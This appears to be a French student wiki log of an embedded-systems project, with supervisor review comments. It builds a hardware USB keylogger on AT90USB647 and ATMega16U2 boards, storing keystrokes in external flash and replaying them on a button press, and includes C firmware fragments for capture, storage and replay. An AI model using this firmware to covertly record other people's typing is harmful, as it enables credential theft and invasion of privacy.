Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo démo Clavier -&amp;gt; AT90 (USART) -&amp;gt; ATMEGA -&amp;gt; PC&amp;lt;/ref&amp;gt;. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.&lt;br /&gt;
&lt;br /&gt;
==== Keylogger ====&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.&lt;br /&gt;
&lt;br /&gt;
ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.&lt;br /&gt;
&lt;br /&gt;
Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	CLKPR = (1&amp;lt;&amp;lt;CLKPCE);&lt;br /&gt;
	CLKPR = 0;&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
&lt;br /&gt;
	SetupHardware();&lt;br /&gt;
&lt;br /&gt;
	puts_P(PSTR(ESC_FG_CYAN &amp;quot;Keyboard HID Host Demo running.\r\n&amp;quot; ESC_FG_WHITE));&lt;br /&gt;
&lt;br /&gt;
	LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);&lt;br /&gt;
	GlobalInterruptEnable();&lt;br /&gt;
&lt;br /&gt;
	/* Variable for the AT45DB641E */&lt;br /&gt;
	int page_start  		 = 0;&lt;br /&gt;
	int page_actual 		 = page_start;&lt;br /&gt;
	int page_buffer_size = 0;&lt;br /&gt;
&lt;br /&gt;
	for (;;)&lt;br /&gt;
	{&lt;br /&gt;
		KeyboardHost_Task(&amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
        Flash_Task(&amp;amp;page_start, &amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
		USB_USBTask();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// ...&lt;br /&gt;
&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
    // ...&lt;br /&gt;
    /* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
	if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
		 *page_buffer_size = 0;&lt;br /&gt;
		(*page_actual)++;&lt;br /&gt;
	}&lt;br /&gt;
    &lt;br /&gt;
    /* AT45DB641E communication  */&lt;br /&gt;
    /* Recup of the data of the actual page to re-write on */&lt;br /&gt;
    unsigned char data[FLASH_PAGE_SIZE];&lt;br /&gt;
    AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the Modifier and Keycode in the array */&lt;br /&gt;
    data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
    &lt;br /&gt;
    /* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
    AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
    AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
    &lt;br /&gt;
    /* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
    while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
    	LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
    }&lt;br /&gt;
    LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
    &lt;br /&gt;
    /* Serial communication */&lt;br /&gt;
	Serial_SendByte(KeyCode);&lt;br /&gt;
	&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).&lt;br /&gt;
&lt;br /&gt;
Dans ma logique, j'utilise trois variables : &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; qui est la page où l'on commence l'écriture, &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui indique la page courante et &amp;lt;code&amp;gt;page_buffer_size&amp;lt;/code&amp;gt; qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.&lt;br /&gt;
&lt;br /&gt;
ReX : La variable &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; me semble inutile.&lt;br /&gt;
&lt;br /&gt;
L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt;. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).&lt;br /&gt;
&lt;br /&gt;
Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.&lt;br /&gt;
&lt;br /&gt;
ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique). &lt;br /&gt;
&lt;br /&gt;
ReX : Le problème pour l'envoi de l'octet &amp;lt;code&amp;gt;modifier&amp;lt;/code&amp;gt; est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).&amp;lt;/s&amp;gt; Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
		uint8_t Ending_Byte;&lt;br /&gt;
		do {&lt;br /&gt;
			Ending_Byte = Serial_ReceiveByte();&lt;br /&gt;
		} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= *page_start;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
&lt;br /&gt;
			int address, j;&lt;br /&gt;
			for (address = (*page_start); address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (j = 0; j &amp;lt; ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)&lt;br /&gt;
				{&lt;br /&gt;
					/* Communicating data by serial connection */&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendByte(data[j]);&lt;br /&gt;
					Serial_SendByte(data[j+1]);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(50);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''&amp;lt;u&amp;gt;Explications :&amp;lt;/u&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.&lt;br /&gt;
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.&lt;br /&gt;
* Ensuite on effectue une tâche selon le code:&lt;br /&gt;
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.&lt;br /&gt;
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.&lt;br /&gt;
*** On parcourt toutes les pages qui ont pu être enregistrées.&lt;br /&gt;
*** On récupère les touches tapées sur la page.&lt;br /&gt;
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).&lt;br /&gt;
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)&lt;br /&gt;
&lt;br /&gt;
A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt &amp;lt;codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.&lt;br /&gt;
&lt;br /&gt;
ReX : Le délai me paraît non nécessaire par contre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; sans attente entre les deux me paraît joueur. Sauf si &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; est bloquant mais je parierais pas.&lt;br /&gt;
&lt;br /&gt;
Concernant la fonction de gestion de la flash du côté de l'ATMega :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(void)&lt;br /&gt;
{&lt;br /&gt;
	uint8_t ButtonStatus_LCL = Buttons_GetStatus();&lt;br /&gt;
&lt;br /&gt;
	/* Reset flash button */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON1){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_RESET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	/* Get all the flash */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON2){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_GET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; d'être executée plus d'une fois.&lt;br /&gt;
&lt;br /&gt;
ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.&lt;br /&gt;
&lt;br /&gt;
Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t ReceivedByte;&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		do {&lt;br /&gt;
			ReceivedByte = Serial_ReceiveByte();&lt;br /&gt;
		} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData-&amp;gt;KeyCode[0]));&lt;br /&gt;
&lt;br /&gt;
		ReportData-&amp;gt;Modifier = ReceivedByte;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.&lt;br /&gt;
 &lt;br /&gt;
Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	//..&lt;br /&gt;
&lt;br /&gt;
		uint8_t KeyCode  = KeyboardReport.KeyCode[0];&lt;br /&gt;
		uint8_t Modifier = KeyboardReport.Modifier;&lt;br /&gt;
&lt;br /&gt;
		/* Check if a key has been pressed */&lt;br /&gt;
		if (KeyCode)&lt;br /&gt;
		{&lt;br /&gt;
			/* Toggle status LED to indicate keypress */&lt;br /&gt;
			LEDs_TurnOnLEDs(LEDS_LED2);&lt;br /&gt;
&lt;br /&gt;
			/* Serial communication */&lt;br /&gt;
			Serial_SendByte(KeyCode);&lt;br /&gt;
			Serial_SendByte(Modifier);&lt;br /&gt;
&lt;br /&gt;
			/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
			if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
				 *page_buffer_size = 0;&lt;br /&gt;
				(*page_actual)++;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			/* AT45DB641E communication */&lt;br /&gt;
			/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
			AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the Modifier and Keycode in the array */&lt;br /&gt;
			data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
			data[(*page_buffer_size)++] = Modifier;&lt;br /&gt;
&lt;br /&gt;
			/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
			AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
			AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
			/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
			while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
				LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
			}&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED2);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Même remarque sur les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; consécutifs et sur la méthode pour envoyer modificateur et codes de touches.&lt;br /&gt;
&lt;br /&gt;
En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt;, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un &amp;lt;code&amp;gt;while(!Serial_IsSendComplete());&amp;lt;/code&amp;gt; entre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; ?&lt;br /&gt;
&lt;br /&gt;
On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].&lt;br /&gt;
&lt;br /&gt;
On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.&lt;br /&gt;
&lt;br /&gt;
On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo démo du Keylogger&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.&lt;br /&gt;
&lt;br /&gt;
ReX : Toujours une très bonne vidéo de démonstration.&lt;br /&gt;
&lt;br /&gt;
Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?&lt;br /&gt;
&lt;br /&gt;
ReX : Ils passent en mode DFU ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].&lt;br /&gt;
[[Fichier:Keylogger schéma connexion uP.png|vignette|426x426px|Schéma décrivant les connexions des broches entre les microcontrôleurs]]&lt;br /&gt;
&lt;br /&gt;
==== Modification du Keylogger ====&lt;br /&gt;
Lien vers les programmes : [[:Fichier:Keylogger.zip|clic]]&lt;br /&gt;
&lt;br /&gt;
J'ai apporté des modifications sur l'envoi et la réception des données via la liaison série, et l'ajout d'un buffer temporaire avant d'enregistrer dans la flash. De plus, j'utilise des fonctions de &amp;lt;code&amp;gt;string.h&amp;lt;/code&amp;gt; afin de rendre le code plus lisible lorsque je veux assigner des valeurs à des tableaux via les fonctions &amp;lt;code&amp;gt;memset&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;memcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie &amp;lt;code&amp;gt;Serial.h&amp;lt;/code&amp;gt; de LUFA. Le déroulé se passe comme ci-dessous :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
while(!Serial_IsSendReady());&lt;br /&gt;
Serial_SendData(tableau_de_7_octets);&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
.....&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et pour la réception :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
if (Serial_IsCharReceived())&lt;br /&gt;
{&lt;br /&gt;
    uint8_t Modifier = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    uint8_t KeyCode1 = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    ...&lt;br /&gt;
    uint8_t KeyCode5 = Serial_ReceiveByte();&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.&lt;br /&gt;
&lt;br /&gt;
De plus, j'ai ajouté les 5 autres KeyCode qui pourrait être renseignés via le rapport clavier sur l'AT90.&lt;br /&gt;
&lt;br /&gt;
On peut voir ci-dessous la nouvelle fonction de création et d'envoi de rapport clavier de l'AT90. Tout d'abord, on enregistre tout les codes à envoyé dans un tableau de 7 octets. Ainsi on a juste à utiliser la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyer en une fois tout les codes. Ensuite on vérifie si on doit passer à la page suivante dans la flash ou non, et puis on vérifie si on doit enregistrer ou non le buffer de la flash dans la mémoire, pour finir par remplir le buffer de la flash.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
/* Serial communication */&lt;br /&gt;
uint8_t Data_to_Send[CODES_PACKET_SIZE];&lt;br /&gt;
&lt;br /&gt;
Data_to_Send[0] = KeyboardReport.Modifier;&lt;br /&gt;
Data_to_Send[1] = KeyboardReport.KeyCode[0];&lt;br /&gt;
Data_to_Send[2] = KeyboardReport.KeyCode[1];&lt;br /&gt;
Data_to_Send[3] = KeyboardReport.KeyCode[2];&lt;br /&gt;
Data_to_Send[4] = KeyboardReport.KeyCode[3];&lt;br /&gt;
Data_to_Send[5] = KeyboardReport.KeyCode[4];&lt;br /&gt;
Data_to_Send[6] = KeyboardReport.KeyCode[5];&lt;br /&gt;
&lt;br /&gt;
while(!Serial_IsSendReady());&lt;br /&gt;
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
_delay_ms(10);&lt;br /&gt;
&lt;br /&gt;
/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
if (*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1)) {&lt;br /&gt;
	 *page_buffer_size = 0;&lt;br /&gt;
	(*page_actual)++;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* AT45DB641E communication */&lt;br /&gt;
/* Checking if the flash buffer is full */&lt;br /&gt;
if (*flash_buffer_i == FLASH_BUFFER_SIZE) {&lt;br /&gt;
	/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
	uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
	if (*page_buffer_size != 0)&lt;br /&gt;
		AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
	memcpy(&amp;amp;(data[*page_buffer_size]), flash_buffer, FLASH_BUFFER_SIZE);&lt;br /&gt;
&lt;br /&gt;
	/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
	AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
	/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
	AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
	/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
	while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
		LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
	}&lt;br /&gt;
	LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
	memset(flash_buffer, 0, FLASH_BUFFER_SIZE);&lt;br /&gt;
	*page_buffer_size += FLASH_BUFFER_SIZE;&lt;br /&gt;
	*flash_buffer_i = 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* Writing the Modifier and Keycodes in the flash_buffer */&lt;br /&gt;
for (int i = 0; i &amp;lt; CODES_PACKET_SIZE; i++) flash_buffer[(*flash_buffer_i)++] = Data_to_Send[i];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Le test &amp;lt;code&amp;gt;(*flash_buffer_i == FLASH_BUFFER_SIZE)&amp;lt;/code&amp;gt; est joueur. Ca passe parce que tu as des paquets de 7 octets pour une taille de bloc de 63 octets. Mais si quelqu'un veut agrandir la taille du bloc ça peut faire mal. Mets une constante pour la taille des paquets (7) et définit la taille de bloc comme un multiple de la taille des paquets :&lt;br /&gt;
 #define CODES_PACKET_SIZE 7&lt;br /&gt;
 #define FLASH_BUFFER_SIZE (9*CODES_PACKET_SIZE)&lt;br /&gt;
&lt;br /&gt;
